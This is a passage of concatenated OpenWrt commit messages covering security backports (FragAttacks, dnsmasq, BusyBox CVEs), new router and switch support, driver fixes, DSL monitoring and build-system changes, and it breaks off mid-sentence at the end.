* CVE-2020-26144 - Always accepting unencrypted A-MSDU frames that
start with RFC1042 header with EAPOL ethertype
* CVE-2020-26145 - Accepting plaintext broadcast fragments as full
frames
* CVE-2020-26146 - Reassembling encrypted fragments with non-consecutive
packet numbers
* CVE-2020-26147 - Reassembling mixed encrypted/plaintext fragments
In general, the scope of these attacks is that they may allow an
attacker to
* inject L2 frames that they can more or less control (depending on the
vulnerability and attack method) into an otherwise protected network;
* exfiltrate (some) network data under certain conditions, this is
specific to the fragmentation issues.
A subset of these issues is known to apply to the Linux IEEE 802.11
implementation (mac80211). Where it is affected, the attached patches
fix the issues, even if not all of them reference the exact CVE IDs.
In addition, driver and/or firmware updates may be necessary, as well
as potentially more fixes to mac80211, depending on how drivers are
using it.
Specifically, for Intel devices, firmware needs to be updated to the
most recently released versions (which was done without any reference
to the security issues) to address some of the vulnerabilities.
To have a single set of patches, I'm also including patches for the
ath10k and ath11k drivers here.
We currently don't have information about how other drivers are, if
at all, affected.
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Kernel 5.10 is not supported by OpenWrt 21.02, remove this patch.
Fixes: d530ff37bf ("mvebu: armada 370: dts: fix the crypto engine")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
CONFIG_FORTIFY_SOURCE=y is already set in the generic kernel
configuration, but it is not working for MIPS on kernel 5.4, support for
MIPS was only added with kernel 5.5, other architectures like aarch64
support FORTIFY_SOURCE already since some time.
This patch adds support for FORTIFY_SOURCE to MIPS with kernel 5.4,
kernel 5.10 already supports this and needs no changes.
This backports one patch from kernel 5.5 and one fix from 5.8 to make
fortify source also work on our kernel 5.4.
The changes are not compatible with the
306-mips_mem_functions_performance.patch patch which was also removed
with kernel 5.10, probably because of the same problems. I think it is
not needed anyway as the compiler should automatically optimize the
calls to memset(), memcpy() and memmove() even when not explicitly
telling the compiler to use the build in variant.
This increases the size of an uncompressed kernel by less than 1 KB.
Acked-by: Rosen Penev <rosenp@gmail.com>
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit 9ffa2f8193)
3f5080aedd nptl: Do not build nptl/tst-pthread-gdb-attach as PIE
36783141cf nptl: Check for compatible GDB in nptl/tst-pthread-gdb-attach
ea299b62e8 nptl_db: Support different libpthread/ld.so load orders (bug 27744)
162df872f0 x86: tst-cpu-features-supports.c: Update AMX check
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
(cherry picked from commit 2fc20886ec)
MAC addresses read from official firmware
value location
Wlan xx 71 de factory@0x04
Lan xx 71 dd factory@0x28
Wan xx 71 df factory@0x2e
Label xx 71 dd factory@0x28
Signed-off-by: Shiji Yang <yangshiji66@qq.com>
[fix sorting in 02_network, redact commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit e57e460dc7)
The routerbootparts driver dynamically discovers the location of MikroTik
partitions, but it cannot determine their size (except by extending them
up to the start of the next discovered partition).
The hard_config partition has a default size of 0x1000 in the driver,
while it actually takes 0x2000 on the hAP-ac2. Set the correct size in
the hAP-ac2 DTS.
On most devices, this isn't a problem as the actual data fits in 0x1000
bytes. However, some devices have larger data that doesn't fit in 0x1000
bytes. In any case, all devices seen so far have enough space for a
0x2000 hard_config partition before the start of the dtb_config partition.
With the current 0x1000 size:
0x00000000e000-0x00000000f000 : "hard_config"
0x000000010000-0x000000017bbc : "dtb_config"
With this patch extending the size to 0x2000:
0x00000000e000-0x000000010000 : "hard_config"
0x000000010000-0x000000017bbc : "dtb_config"
Other ipq40xx boards may need the same fix but it needs testing.
References: https://forum.openwrt.org/t/support-for-mikrotik-hap-ac2/23333/324
Acked-by: Thibaut VARÈNE <hacks@slashdirt.org>
Signed-off-by: Baptiste Jonglez <git@bitsofnetworks.org>
(cherry picked from commit 979f406366)
Using these config-options to customize the folders used at build-time makes these
folder settings appear in generated archive. This causes the SDK to be not
portable, as it's going to use the build-time folders on the new systems.
The errors vary from passing the build, disk out-of-space to permission denied.
The build-time settings of these folders are passed into the archive via Config.build.
The expected behavior is that the SDK acts after unpacking like these settings have
their defaults, using intree folders. So just filter these folders out when running
convert-config.pl to create Config.build.
This addresses the same issue that's fixed in the previous commit for the imagebuilder.
Signed-off-by: Sven Roederer <devel-sven@geroedel.de>
(cherry picked from commit 1e4b191ac8)
Using these config-options to customize the folders used at build-time
makes these folder settings appear in generated archive. This causes the
imagebuilder to be not portable, as it's going to use the build-time folders
on the new systems. Errors look like:
mkdir: cannot create directory '/mnt/build': Permission denied
Makefile:116: recipe for target '_call_image' failed
make[2]: *** [_call_image] Error 1
Makefile:241: recipe for target 'image' failed
make[1]: *** [image] Error 2
The build-time settings of these folders are passed into the archives via
.config file.
The expected behavior is that after unpacking the imagebuilder acts like
these settings have their defaults, using intree folders. So unset the
build-time settings.
Signed-off-by: Sven Roederer <devel-sven@geroedel.de>
(cherry picked from commit 6967903b01)
The code uses get_mtd_device_nm() which must be followed by a call to
put_mtd_device() once the handle is no longer used.
This fixes spurious shutdown console messages such as:
[ 2256.334562] Removing MTD device #7 (soft_config) with use count 1
Reported-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
(cherry picked from commit 4e385a27d6)
With some debug in qmi.sh using following patch, some errors are visible
in the registration step
@@ -29,6 +29,7 @@ proto_qmi_init_config() {
}
proto_qmi_setup() {
+ set -x
local interface="$1"
local dataformat connstat plmn_mode mcc mnc
local device apn auth username password pincode delay modes pdptype
@@ -224,6 +225,8 @@ proto_qmi_setup() {
fi
done
+ registration=$(uqmi -s -d "$device" --get-serving-system)
+
[ -n "$modes" ] && uqmi -s -d "$device" --set-network-modes "$modes" > /dev/null 2>&1
echo "Starting network $interface"
During the boot of the system, modem could not start automatically its
network registration.
netifd: wan (9235): + echo 'Waiting for network registration'
netifd: wan (9235): Waiting for network registration
netifd: wan (9235): + local 'registration_timeout=0'
netifd: wan (9235): + uqmi -s -d /dev/cdc-wdm1 --get-serving-system
netifd: wan (9235): + grep '"searching"'
netifd: wan (9235): + uqmi -s -d /dev/cdc-wdm1 --get-serving-system
netifd: wan (9235): + registration='{"registration":"not_registered","plmn_mcc":208,"plmn_mnc":20,"plmn_description":"","roaming":true}'
netifd: wan (9235): + '[' -n ]
netifd: wan (9235): + echo 'Starting network wan'
As the while loop checks only "searching" pattern, uqmi.sh script quits
searching loop and continues whereas the modem is not registered
Other issue, after X seconds modem stops searching.
netifd: wan (9213): + uqmi -s -d /dev/cdc-wdm0 --get-serving-system
netifd: wan (9213): + grep '"searching"'
netifd: wan (9213): + '[' -e /dev/cdc-wdm0 ]
netifd: wan (9213): + '[' 3 -lt 0 -o 0 '=' 0 ]
netifd: wan (9213): + let registration_timeout++
netifd: wan (9213): + sleep 1
netifd: wan (9213): + uqmi -s -d /dev/cdc-wdm0 --get-serving-system
netifd: wan (9213): + grep '"searching"'
netifd: wan (9213): + uqmi -s -d /dev/cdc-wdm0 --get-serving-system
netifd: wan (9213): + registration='{"registration":"not_registered"}'
netifd: wan (9213): + '[' -n ]
netifd: wan (9213): + echo 'Starting network wan'
netifd: wan (9213): Starting network wan
If registration_timeout is not expired, registration can be restarted
Signed-off-by: Thomas Richard <thomas.richard@kontron.com>
Tested-by: Florian Eckert <fe@dev.tdt.de>
(cherry picked from commit 2eda042d55)
OpenWRT requires a number of Perl modules to be installed. It wasn't checking on all of them.
This patch adds checks for Perl FindBin, File::Copy, File::Compare and Thread::Queue modules.
Failing to install these, will have the build break at some point. By adding these to the
prereq-build.mk script, they are checked on forehand.
Tested on a Fedora 33 and 34 (beta) that was freshly installed. Fedora appears to
break up Perl modules into small packages that need to be installed for the build to succeed.
Signed-off-by: Bas Mevissen <abuse@basmevissen.nl>
(cherry picked from commit f68c9474ac)
The stock firmware does not accept firmware with "Talon" in the name.
Tested on firmware version 1.0.10 Build 20160902 rel. 57400 which came
preinstalled, as well as latest firmware version 2.0.1 Build 20170103
rel.71053 flashed from
AD7200v1-up-ver2-0-1-P1[20170103-rel71053]_2017-01-04_10.08.28.bin.
Fixes: 1a775a4fd0 ("ipq806x: add support for TP-Link Talon AD7200")
Signed-off-by: Alex Henrie <alexhenrie24@gmail.com>
[added details about vendor firmware]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
(cherry picked from commit dfef88b6ca)
Fixes issue with merged DNS requests in 2.83/2.84 not being
retried on the firsts failed request causing lookup failures.
Also fixes the following security problem in dnsmasq:
* CVE-2021-3448:
If specifiying the source address or interface to be used
when contacting upstream name servers such as:
server=8.8.8.8@1.2.3.4, server=8.8.8.8@1.2.3.4#66 and
server=8.8.8.8@eth0 then all would use the same socket
bound to the explicitly configured port. Now only
server=8.8.8.8@1.2.3.4#66 will use the explicitly
configured port and the others random source ports.
Remove upstreamed patches and update remaining patch.
Signed-off-by: Alan Swanson <reiver@improbability.net>
[refreshed old runtime support patch]
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
(cherry picked from commit 3980daffa4)
This package depends on the lantiq target and is only build for that
target. A normal package would be build by the SDK builder probably
under a different target and then this package will not be selected.
Mark it as nonshared to build it when the lantiq target gets build.
Fixes: FS#3773, FS#3774
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit 454d514f46)
The removed patches were applied upstream and are not needed anymore.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit 17ac9849d3)
This backports a fix for the low priority CVE-2021-28831:
decompress_gunzip.c in BusyBox through 1.32.1 mishandles the error bit
on the huft_build result pointer, with a resultant invalid free or
segmentation fault, via malformed gzip data.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit 13397b2b95)
This commit adds support for the MikroTik SXTsq 5 ac (RBSXTsqG-5acD),
an outdoor 802.11ac wireless CPE with one 10/100/1000 Mbps Ethernet
port.
Specifications:
- SoC: Qualcomm Atheros IPQ4018
- RAM: 256 MB
- Storage: 16 MB NOR
- Wireless: IPQ4018 (SoC) 802.11a/n/ac 2x2:2, 16 dBi antennae
- Ethernet: IPQ4018 (SoC) 1x 10/100/1000 port, 10-28 Vdc PoE in
- 1x Ethernet LED (green)
- 7x user-controllable LEDs
· 1x power (blue)
· 1x user (green)
· 5x rssi (green)
Note:
Serial UART is probably available on the board, but it has not been
tested.
Flashing:
Boot via TFTP the initramfs image. Then, upload a sysupgrade image
via SSH and flash it normally. More info at the "Common procedures
for MikroTik products" page https://openwrt.org/toh/mikrotik/common.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
(cherry picked from commit d1f1e5269e)
[Compile and Run Tested]
Signed-off-by: Nick Hainke <vincent@systemli.org>
This adds support for the MikroTik RouterBOARD RBD52G-5HacD2HnD-TC
(hAP ac²), a indoor dual band, dual-radio 802.11ac
wireless AP with integrated omnidirectional antennae, USB port and five
10/100/1000 Mbps Ethernet ports.
See https://mikrotik.com/product/hap_ac2 for more info.
Specifications:
- SoC: Qualcomm Atheros IPQ4018
- RAM: 128 MB
- Storage: 16 MB NOR
- Wireless:
· Built-in IPQ4018 (SoC) 802.11b/g/n 2x2:2, 2.5 dBi antennae
· Built-in IPQ4018 (SoC) 802.11a/n/ac 2x2:2, 2.5 dBi antennae
- Ethernet: Built-in IPQ4018 (SoC, QCA8075) , 5x 1000/100/10 port,
passive PoE in
- 1x USB Type A port
Installation:
Boot the initramfs image via TFTP and then flash the sysupgrade
image using "sysupgrade -n"
Signed-off-by: Robert Marko <robimarko@gmail.com>
(cherry picked from commit faea7becaf)
[Compile Tested]
Signed-off-by: Nick Hainke <vincent@systemli.org>
The mode on the SGMII SerDes on the QCA9563 is 1000 Base-X by default.
This only allows for 1000 Mbit/s links, however when used with an SGMII
PHY in 100 Mbit/s link mode, the link remains dead.
This strictly has nothing to do with the SerDes calibration, however it
is done at the same point in the QCA reference U-Boot which is the
blueprint for everything happening here. As the current state is more or
less a hack, this should be fine.
This fixes the issues outlined above on a TP-Link EAP-225 Outdoor.
Reported-by: Tom Herbers <freifunk@tomherbers.de>
Tested-by: Tom Herbers <freifunk@tomherbers.de>
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit fbbad9a9a6)
Before: Kernel reported "usb_vbus: disabling" and the USB was not
providing power
After: USB power is switched on, peripheral is powered from the
device
Signed-off-by: Tom Stöveken <tom@naaa.de>
[squash and tidy up]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit a6f7268dc7)
Removed because in upstream*
mvebu/patches-5.4/319-ARM-dts-turris-omnia-configure-LED-2--INTn-pin-as-interrupt-pin.patch
Manually rebased*
generic/backport-5.4/700-v5.5-net-core-allow-fast-GRO-for-skbs-with-Ethernet-heade.patch
Added new backport*
generic/backport-5.4/050-gro-fix-napi_gro_frags-Fast-GRO-breakage-due-to-IP-a.patch
All others updated automatically.
The new backport was included based on this[1] upstream commit that will be
mainlined soon. This change is needed because Eric Dumazet's check for
NET_IP_ALIGN (landed in 5.4.114) causes huge slowdowns on drivers which use
napi_gro_frags().
Compile-tested on: x86/64, armvirt/64, ath79/generic
Runtime-tested on: x86/64, armvirt/64, ath79/generic
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Since support for SFP on the MikroTik RouterBOARD 922UAGS-5HPacD was
added by 4387fe00cb, the MAC addresses for eth0 (Ethernet) and eth1
(SFP) were swapped. This patch fixes the 02_network script to assign MAC
addresses correctly, so they match the label and the vendor's OS.
Tested on a RouterBOARD 922UAGS-5HPacD board.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
(cherry picked from commit 14a95b36b1)
This patch enables the SFP cage on the MikroTik RouterBOARD 922UAGS-5HPacD.
GPIO16 (tx-disable-gpios) should be governed by the SFP driver to enable
or disable transmission, but no change is observed. Therefore, it is
left as output high to ensure the SFP module is forced to transmit.
Tested on a RouterBOARD 922UAGS-5HPacD board, with a CISCO GLC-LH-SMD
1310nm module and an unbranded GLC-T RJ45 Gigabit module. PC=>router
iperf3 tests deliver 440/300 Mbps up/down, both via regular eth0 port
or SFP port with RJ45 module. Bridge between eth0 and eth1 delivers
950 Mbps symmetric.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
(cherry picked from commit 4387fe00cb)
Missing braces in a macro were leading to badly working rates sometimes
getting a success probabilty of 1.0
Signed-off-by: Felix Fietkau <nbd@nbd.name>
(cherry-picked from commit 12cb52bd06)
It's in backports-5.4, but it wasn't ever merged. Upstream followed another
approach, with flow offloading, which has much better performance. Drop this
obsolete patch and refresh the kernel patches.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
Acked-by: Stijn Tintel <stijn@linux-ipv6.be>
Acked-by: Felix Fietkau <nbd@nbd.name>
(cherry picked from commit 17576b1b2a)
With the old ubus dsl API, the numbers for the individual line_states and
power_states were also returned. These were not ported to the new DSL
C-API. This commit adds the missing information.
For this the internal values are mapped to numbers.
* additional JSON output for state_num:
"state_num": <map_state_number>
Since not all values are meaningful only the following values are
implemented, this can be extended if the future.
* LSTATE_MAP_NOT_INITIALIZED
* LSTATE_MAP_EXCEPTION
* LSTATE_MAP_IDLE
* LSTATE_MAP_SILENT
* LSTATE_MAP_HANDSHAKE
* LSTATE_MAP_FULL_INIT
* LSTATE_MAP_SHOWTIME_NO_SYNC
* LSTATE_MAP_SHOWTIME_TC_SYNC
* LSTATE_MAP_RESYNC
* additinal JSON output for power_level:
"power_state_num": <map_power_satte_number>,
Since there are not so many here, all are mapped.
* PSTATE_MAP_NA,
* PSTATE_MAP_L0,
* PSTATE_MAP_L1,
* PSTATE_MAP_L2,
* PSTATE_MAP_L3,
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
v6:
Add state LSTATE_MAP_NOT_INITILIZED at the beginning of the list
Start the list LSTATE_MAP with -1
Reviewed-by: Andre Heider <a.heider@gmail.com>
(cherry picked from commit 4407d45d96)
Switch to Actual Net Data Rate (ACTNDR) for speed reporting on lantiq VDSL modems
Refer to ITU-T G.997.1 chapter 7.5.2.8
Independent whether retransmission is used or not in a given transmit direction:
- In L0 state, this parameter reports the Net Data Rate (as specified in G.992.3, G.992.5 or G.993.2) at which the bearer channel is operating.
- In L2 state, the parameter contains the Net Data Rate (as specified in G.992.3, G.992.5 or G.993.2) in the previous L0 state.
Signed-off-by: Jeroen Peelaerts <jeroen.peelaerts@gmail.com>
Reviewed-by: Andre Heider <a.heider@gmail.com>
(cherry picked from commit 4f27ea7c33)
This commit adds monitoring for a couple of DSL line features that are
present in the lantiq firmware blobs.
* G.INP ON/OFF
* Trellis encoding ON/OFF
* Virtaul Noise ON/OFF
* Bitswap ON/OFF
Difference in size for ltq-vdsl-app = 1k
Difference in size for kmod-ltq-vdsl-vr9 < 1k
Reviewed-by: Andre Heider <a.heider@gmail.com>
Signed-off-by: Jeroen Peelaerts <jeroen.peelaerts@gmail.com>
(cherry picked from commit 48162e4c0c)
U-Boot uses the "bootpartition" variable stored in
"u-boot-env2" to select the active system partition. Allow
updates to enable system switching from OpenWrt.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
(cherry picked from commit 11d24ffe96)
Switch the Netgear DTSI for the Realtek target from the OEM partition
naming scheme to accepted OpenWrt naming practices. A quick git grep for
'u-boot-env' e.g. in the OpenWrt tree turns up almost 500 hits whereas
grepping for 'bdinfo' (the OEM equivalent) returns a meagre 14.
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
(cherry picked from commit 1601b39b61)
Otherwise, the last defined value will be set for all devices.
Fixes: c6c8d597e1 ("realtek: Add generic zyxel_gs1900 image definition")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
(cherry picked from commit 851dadc257)
The rtl83xx-phy driver is necessary for proper configuration of the
PHYs if U-Boot hasn't done that.
1000Base-T SFPs often contains a Marvell 88E1111 and will not work
without this driver. Include it by default to support copper SFPs.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
(cherry picked from commit 07bf5aaa4c)
There is no need to define a static link or a phy for the sfp
ports. Using phy-mode and managed properties to describe the
link to the sfp phy.
We have to keep the now unconnected virtual "phys" because the
switch driver uses their "phy-is-integrated" property to figure
out which ports to enable as fibre ports.
Acked-by: Birger Koblitz <mail@birger-koblitz.de>
Signed-off-by: Bjørn Mork <bjorn@mork.no>
(cherry picked from commit e8d391bd46)
From the validate docs in include/linux/phylink.h:
When state->interface is PHY_INTERFACE_MODE_NA, phylink expects the
MAC driver to return all supported link modes.
Tested-by: Birger Koblitz <mail@birger-koblitz.de>
Signed-off-by: Bjørn Mork <bjorn@mork.no>
(cherry picked from commit 785d830e88)
This bug was the root cause for the failing sfp driver.
Acked-by: Birger Koblitz <mail@birger-koblitz.de>
Signed-off-by: Bjørn Mork <bjorn@mork.no>
(cherry picked from commit b8e473d18c)
The ZyXEL GS1900-8 is a 8 port switch without any PoE functionality or
SFP ports, but otherwise similar to the other GS1900 switches.
Specifications
--------------
* Device: ZyXEL GS1900-8 v1.2
* SoC: Realtek RTL8380M 500 MHz MIPS 4KEc
* Flash: Macronix MX25L12835F 16 MiB
* RAM: Nanya NT5TU128M8GE-AC 128 MiB DDR2 SDRAM
* Ethernet: 8x 10/100/1000 Mbit
* LEDs: 1 PWR LED (green, not configurable)
1 SYS LED (green, configurable)
8 ethernet port status LEDs (green, SoC controlled)
* Buttons: 1 on-off glide switch at the back (not configurable)
1 reset button at the right side, behind the air-vent
(not configurable)
1 reset button on front panel (configurable)
* Power 12V 1A barrel connector
* UART: 1 serial header (JP2) with populated standard pin connector on
the left side of the PCB, towards the back. Pins are labelled:
+ VCC (3.3V)
+ TX (really RX)
+ RX (really TX)
+ GND
the labelling is done from the usb2serial connector's point of
view, so RX/ TX are mixed up.
Serial connection parameters for both devices: 115200 8N1.
Installation
------------
Instructions are identical to those for the GS1900-10HP and GS1900-8HP.
* Configure your client with a static 192.168.1.x IP (e.g. 192.168.1.10).
* Set up a TFTP server on your client and make it serve the initramfs
image.
* Connect serial, power up the switch, interrupt U-boot by hitting the
space bar, and enable the network:
> rtk network on
* Since the GS1900-10HP is a dual-partition device, you want to keep the
OEM firmware on the backup partition for the time being. OpenWrt can
only boot off the first partition anyway (hardcoded in the DTS). To
make sure we are manipulating the first partition, issue the following
commands:
> setsys bootpartition 0
> savesys
* Download the image onto the device and boot from it:
> tftpboot 0x84f00000 192.168.1.10:openwrt-realtek-generic-zyxel_gs1900-8-initramfs-kernel.bin
> bootm
* Once OpenWrt has booted, scp the sysupgrade image to /tmp and flash it:
> sysupgrade /tmp/openwrt-realtek-generic-zyxel_gs1900-8-squashfs-sysupgrade.bin
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit e6ba970b6e)
Add a new common device definition for the Zyxel GS1900 line of
switches.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit c6c8d597e1)
Demote a number of debugging printk's to pr_debug to avoid log
nosie. Several of these functions are called as a result of
userspace activity. This can cause a lot of log noise when
userspace does periodic polling.
Most of this could probably be removed completely, but let's
keep it for now since these drivers are still in development.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
Tested-by: Stijn Tintel <stijn@linux-ipv6.be>
(cherry picked from commit ba220ad2fd)
This adds the necessary nuts and bolts for the uboot settings for both the ZyXEL GS1900-8HP v1 and v2.
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
(cherry picked from commit b5bc53813d)
If service() is called w/o parameter then the status display for services
with multiple instances is incorrect. E.g. samba4 or wpad have 2 instances.
root@OpenWrt:~# /etc/init.d/samba4 status
running
root@OpenWrt:~# /etc/init.d/wpad status
running
Before change:
/etc/init.d/samba4 enabled stopped
/etc/init.d/wpad enabled stopped
After change:
/etc/init.d/samba4 enabled running
/etc/init.d/wpad enabled running
Signed-off-by: Alexander Egorenkov <egorenar-dev@posteo.net>
(cherry picked from commit 9318f61556)
Since KERNEL_SWAP is only enabled by default for !SMALL_FLASH targets, we need
to check if the current kernel supports swap before trying to configure
zram-swap, as opkg can't check for kernel dependencies.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
(cherry picked from commit 565dfeb128)
Without 'BUILD_DEVICES' defined, the U-Boot related package won't be
automatically selected when building for Toradex Apalis device.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
(cherry picked from commit 8c3383799a)
Looks like 'openat', 'pipe2' and 'ppoll' are now needed, possibly due
to changes on libraries used by umdns now using slightly different
calls.
Found using
/etc/init.d/umdns trace
now use umdns, ie. cover all ubus call etc., then
/etc/init.d/umdns stop
find list of syscalls traced in /tmp/umdns.*.json
Fixes: FS#3355 ("UMDNS: does not start on master with seccomp")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
(cherry picked from commit 00a85a1634)
Now that ujail supports seccomp also on Aarch64, add missing syscall
'fstat' to the list of allowed syscalls.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
(cherry picked from commit d28880cdd8)
The mt7530_{r,w}32 operation over MDIO uses 3 mdiobus operations and
does not hold a lock, which causes a race condition when multiple
threads try to access a register, they may get unexpected results.
To avoid this, handle the MDIO lock manually, and use the unlocked
__mdiobus_{read,write} in the critical section.
This fixes the "Ghost VLAN" artifact[1] in MT7530/7621 when the VLAN
operation and the swconfig LED link status poll race between each other.
[1] https://forum.openwrt.org/t/mysterious-vlan-ids-on-mt7621-device/64495
Signed-off-by: DENG Qingfang <dqfext@gmail.com>
(cherry picked from commit f99c9cd9c4)
Fix the PLL register value for 10 Mbit/s link modes on the UniFi AC Lite
/ Mesh / LR. Otherwise, 10 Mbit/s links do not transfer data.
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit 956407292d)
Fix the PLL register value for 10 Mbit/s link modes on TP-Link EAP
boards using a AR8033 SGMII PHY.
Otherwise, 10 Mbit/s links do not transfer data.
Reported-by: Tom Herbers <freifunk@tomherbers.de>
Tested-by: Tom Herbers <freifunk@tomherbers.de>
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit bbff6239e2)
e78ea9bd26 Update Nios II libm-test-ulps.
98bb18f52a malloc: Fix a realloc crash with heap tagging [BZ 27468]
fc4ecce85b S390: Also check vector support in memmove ifunc-selector [BZ #27511]
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
(cherry picked from commit d49f1acff1)
For some reason, one of the configure checks results in some infinite
loop and ends up spawning endless gcc processes, causing OOM. Just pass
a configure var to avoid it.
Same fix as 6e23813c1e
Signed-off-by: Rosen Penev <rosenp@gmail.com>
(cherry picked from commit fc093c3f9c)
Reduce spi-max-frequency for Xiaomi MI Router 4AG model
Xiaomi MI Router 4AG MTD uses two flash chips (no specific on router versions when produced from factory) - GD25Q128C and W25Q128BV.
These flash chips are capable of high frequency, but due to poor board design or manufacture process.
We are seeing the following errors in the linux kernel bootup:
`spi-nor spi0.0: unrecognized JEDEC id bytes: cc 60 1c cc 60 1c
spi-nor: probe of spi0.0 failed with error -2`
This causes the partitions not to be detected
`VFS: Cannot open root device "(null)" or unknown-block(0,0): error -6`
Then creates a bootloop and a bricked router.
The solution to limit this race condition is to reduce the frequency from 80 mhz to 50 mhz.
Signed-off-by: David Bentham <db260179@gmail.com>
(cherry picked from commit 17e690017d)
The crypto engine in Armada 370 SoCs is currently broken. It can be
checked installing the required packages for testing openssl with hw
acceleration:
opkg install openssl-util
opkg install kmod-cryptodev
opkg install libopenssl-devcrypto
After configuring /etc/ssl/openssl.cnf to let openssl use the crypto
engine for digest operations, and performing some checksums..
md5sum 10M-file.bin
openssl md5 10M-file.bin
...we can see they don't match.
There might be an alignment or size constraint issue caused by the
idle-sram area.
Use the whole crypto sram and disable the idle-sram area to fix it. Also
disable the idle support by adding the broken-idle property to prevent
accessing the disabled idle-sram.
We don't care about disabling the idle support since it is already broken
in Armada 370 causing a huge performance loss because it disables
permanently the L2 cache. This was reported in the Openwrt forum and
elsewhere by Debian users with different board models.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
(cherry picked from commit 2e1ebe96c6)
The GL.iNet GL-MV1000 is booting from eMMC and the images for it are in
theory sysupgrade compatible. But the platform upgrade scripts were not
adjusted to select the mmcblock device as upgrade target. This resulted in
a failed sysupgrade because the mtd device (NOR flash) was instead tried to
be modified by the sysupgrade script.
Fixes: 050c24f05c ("mvebu: add support for GL.iNet GL-MV1000")
Signed-off-by: Sven Eckelmann <sven@narfation.org>
(cherry picked from commit 07e5e03711)
The Buffalo Linkstation LS421DE NAS lacks an uboot env config file.
Create it via scripts.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
(cherry picked from commit 4f8da19572)
Fixes boot loader LZMA decompression issue,
reported by GitHub user KOLANICH at [0].
The reported LZMA ERROR has date of 2020-07-20, soon after
the device support landed:
Ralink UBoot Version: 3.5.2.4_ZyXEL
....
3: System Boot system code via Flash.
Image Name: MIPS OpenWrt Linux-4.14.187
Created: 2020-07-20 3:39:11 UTC
Image Type: MIPS Linux Kernel Image (lzma compressed)
Data Size: 1472250 Bytes = 1.4 MB
Load Address: 80000000
Entry Point: 80000000
Verifying Checksum ... OK
Uncompressing Kernel Image ... LZMA ERROR 1 - must RESET board to recover
[0] fea232ae8f (commitcomment-45016560)
Fixes: 4dc9ad4af8 ("ramips: add support for ZyXEL Keenetic Lite Rev.B")
Signed-off-by: Szabolcs Hubai <szab.hu@gmail.com>
(cherry picked from commit dd3c1ad8ee)
This fixes partitioning on Linksys EA9500. With this change only the
currently used firmware MTD partition gets parsed.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit a3c7633ddc)
Respect the generic kernel config setting, which is "enabled" tree-wide, as
previously done for sunxi.
Ref: 247ef4d98b ("sunxi: enable CONFIG_BPF_SYSCALL and CONFIG_EMBEDDED")
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
(cherry picked from commit 41948c9c1b)
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
CRYPTO_DEV_CCP depends on X86 or ARM64
CRYPTO_DEV_CCP_DD depends on CPU_SUP_AMD or ARM64
Compiling this driver makes sense for x86 mainly. If one day support for
ARM64 board with AMD Secure Processor gets added this package may be
updated.
Trying to build this package on bcm4908 was causing:
ERROR: module 'build_dir/target-aarch64_cortex-a53_musl/linux-bcm4908_generic/linux-5.4.110/drivers/crypto/ccp/ccp-crypto.ko' is missing.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit cb3fb45ed1)
Currently it's not possible to flash factory images on devices shipped
with vendor firmware versions 1.1.0 Build 20201120 rel. 50406 (published
2020-12-22):
(curFw_ver, newFw_ver) == (1.1, 1.0) [NM_Error](nm_checkSoftVer) 00848: Firmwave not supports, check failed.
[NM_Error](nm_checkUpdateContent) 01084: software version dismatched
[NM_Error](nm_buildUpgradeStruct) 01188: checkUpdateContent failed.
They've even following note in release notes:
Note: You will be unable to downgrade to the previous firmware version
after updating this firmware.
This version check in vendor firmware is implemented in
/usr/bin/nvrammanager binary likely as following C code[1]:
sscanf(buf, "%d.%d.%*s",&upd_fw_major, &upd_fw_minor);
...
if (((int)upd_fw_major < (int)cur_fw_major) ||
((ret = 1, cur_fw_major == upd_fw_major && (upd_fw_minor < (int)cur_fw_minor)))) {
ret = 0;
printf("[NM_Error](%s) %05d: Firmwave not supports, check failed.\r\n\r\n","nm_checkSoftVer" ,0x350);
}
...
return ret;
So in order to fix this and make it future proof it should be enough to
ship our factory firmware images with major version 7 (lucky number).
Tested on latest firmware version 1.1.2 Build 20210125 rel.37999:
Firmwave supports, check OK.
(curFw_ver, newFw_ver) == (1.1, 7.0) check firmware ok!
Flashing back to vendor firmware
